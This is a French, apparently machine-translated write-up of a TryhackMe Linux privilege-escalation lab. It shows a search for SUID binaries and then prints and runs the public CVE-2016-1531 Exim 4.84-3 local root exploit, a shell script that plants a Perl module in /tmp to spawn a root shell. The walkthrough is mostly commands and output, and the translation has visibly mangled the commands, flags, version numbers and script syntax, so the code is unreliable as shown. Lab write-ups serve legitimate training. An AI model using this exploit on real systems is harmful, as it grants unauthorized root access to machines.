Cette fois, nous allons essayer "CVE-2016-1531 Élévation des privilèges en utilisant la vulnérabilité dans Exim 484.3".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 6.
Si vous souhaitez consulter l'écriture pour Linux PRIVSC avec TryhackMe, veuillez également consulter l'élévation du privilège à l'aide de Cron Jobs




Préparation
Tout d'abord, démarrez la machine cible.
Si vous utilisez TryhackMe, sélectionnez "Démarrer la machine".

Si l'adresse IP s'affiche comme indiqué ci-dessous, vous pouvez le démarrer!

Cette fois, l'escalade du privilège se produira après avoir pu vous connecter à la machine cible, alors vérifiez au point où vous pouvez vous connecter via SSH.
┌── (hackLab㉿hackLab) - [~] └─ $ ssh user@10.10.52.40 user@10.10.52.40's Mot de passe: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 x86_64 Les programmes inclus avec le système GNU / Linux Debian / Linux sont libres; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: dimanche 9 avril 08:54:59 2023 de IP-10-11110-90.eu-west-1.compute.internal user @ debian: ~ $
Une fois que vous avez accès, la préparation à l'avance est terminée.
CVE-2016-1531 Élévation du privilège en utilisant la vulnérabilité dans Exim 484.3
Une fois que vous êtes arrivé jusqu'ici, essayez réellement d'élever vos privilèges.
Qu'est-ce que SUID / SGID?
CVE-2016-1531 utilise le mécanisme SUID / SGID.
Tout d'abord, comprenons brièvement les parties et les SGID.
- UID: Dans Linux, les utilisateurs sont gérés par un numéro d'identification appelé UID.
- SUID: Si vous avez une autorisation d'exécution, lorsqu'un fichier est exécuté, il sera exécuté avec les autorisations du propriétaire.
- SGID: Si vous avez une autorisation d'exécution, lorsqu'un fichier est exécuté, il sera exécuté avec les autorisations du groupe appartenant au fichier.
Trouver des vulnérabilités
Commençons donc par chercher des vulnérabilités.
Nous rechercherons un exécutable SUID / SGID.
user @ debian: ~ $ find / -Type f -a \ (-perm -u + s -o -perm -g + s \) -exec ls -l {} \; 2> / dev / null -rwxr-sr-x 1 root shadow 19528 15 février 2011 / usr / bin / expiry -rwxr-sr-x 1 root ssh 108600 avr 2 2014 / usr / bin / ssh-agent -rwsr-xr-x 1 racine root 37552 Feb 15 2011 / usr / bin / chle-ch -rwsr-xr -x 2 Root 2011 / usr / bin / chle -rwsr-xr -x 2 ROORO 168136 5 janvier 2016 / usr / bin / sudo -rwxr-sr-x 1 root tty 11000 17 juin 2010 / usr / bin / bsd-write -rwxr-sr-x 1 root crontab 35040 décembre 18 2010 / usr / bin / crontab -rwsr-xr-x 1 racine root 32808 fév 15 2011 / usr / bin / bin / nouveau -rwsr-xr-x 2 racine racine 168136 5 janvier 2016 / usr / bin / sudoedit -rwxr-sr-x 1 root shadow 56976 15 févr / usr / bin / gpasswd -rwsr-xr-x 1 racine racine 39856 15 février 2011 / usr / bin / chfn -rwxr-sr-x 1 root tty 12000 25 janvier 2011 / usr / bin / wall -rwsr-sr-x 1 root standard 9861 mai 14 2017 6883 14 mai 2017 / usr / local / bin / SUID-ENV -RWSR-SR-X 1 Root Staff 6899 14 mai 2017 / usr / bin / SUID-ENV2 -RWSR-XR-X / usr / lib / eject / dmcrypt-get-device -rwsr-xr-x 1 racine root 212128 avr 2 2014 / usr / lib / openssh / ssh-keysign -rwsr-xr-x 1 racine root 10592 fév 15 2016 / usr / lib / pt_chown -rwsr-xr-x 1 racine root 36640 oct 14 2010 / bin / ping6 -rwsr-xr-x 1 racine racine 34248 14 oct. 2010 / bin / ping -rwsr-xr-x 1 racine racine 78616 25 janvier 2011 / bin / mont -rwsr-xr-xr-x root root 34024 fév 15 2011 / bin / su -rwsr-xr-x 1 racine racine root 53648 janvier 25 / bin / UMUnt -rwxr-sr-x 1 root shadow 31864 17 oct 2011 / sbin / unix_chkpwd -rwsr-xr-x 1 racine root 94992 13 décembre 2014 /sbin/mount.nfs
Ne manquez pas "/usr/sbin/exim-4.84-3" dans la liste des fichiers qui peuvent être exécutables avec SUID / SGID.
Ensuite, vérifiez la vulnérabilité "EXIM-4.48-3" dans Exploit-DB

Je pense que nous avons découvert que "CVE-2016-1531" sera un succès sur Exploit-DB.
Une fois que vous êtes arrivé jusqu'ici, tout ce que vous avez à faire est d'exécuter le shell répertorié dans Exploit-DB.

CVE-2016-1531 Élévation du privilège en utilisant Exim 484.3
Créons maintenant le shell répertorié dans Exploit-DB sur la machine cible.
Pour TryhackMe, il a déjà été créé ci-dessous.
Utilisateur @ debian: ~ $ cat /home/user/tools/suid/exim/cve-2016-1531.sh #! / bin / sh # cve-2016-1531 exim <= 4.84-3 Exploit racine locale # ==== # Vous pouvez écrire des fichiers en tant que racine ou forcer un module perl à la charge par # Manipulation de l'environnement Perl et en cours d'exécution avec le module perl " -PS. # # par exemple # [fantastique @ localhost tmp] $ ./CVE-2016-1531.sh # [CVE-2016-1531 Exploit de racine local # SH-4.3 # ID # UID = 0 (root) gid = 1000 (fantastique) Groupes = 1000 (fantastique) # # - Hacker Fantastic Echo [CVE-2016-1531 Local Root Explowt Cat> /tmp/root.pm <lop <lople <loplent root de package; utiliser strict; utiliser des avertissements; système ("/ bin / sh"); Eof perl5lib = / tmp perl5opt = -mroot / usr / exim / bin / exim -ps
Enfin, exécutez simplement le shell que vous avez créé.
user @ debian: ~ $ /home/user/tools/suid/exim/cve-2016-1531.sh [CVE-2016-1531 Root local Exploit Sh-4.1 # Whoami racine
J'ai pu obtenir avec succès les privilèges racine.
résumé
Cette fois, nous avons essayé "CVE-2016-1531 Élévation des privilèges en utilisant la vulnérabilité dans Exim 484.3".
Une fois que vous avez fait la reconnaissance, il vous suffit d'exécuter le contenu mentionné dans Exploit-DB, donc c'était facile.
Cela dit, vous remarquerez que lorsque vous déprenez réellement. . . Je sentais qu'il y avait encore plus à apprendre.
Références et sites
-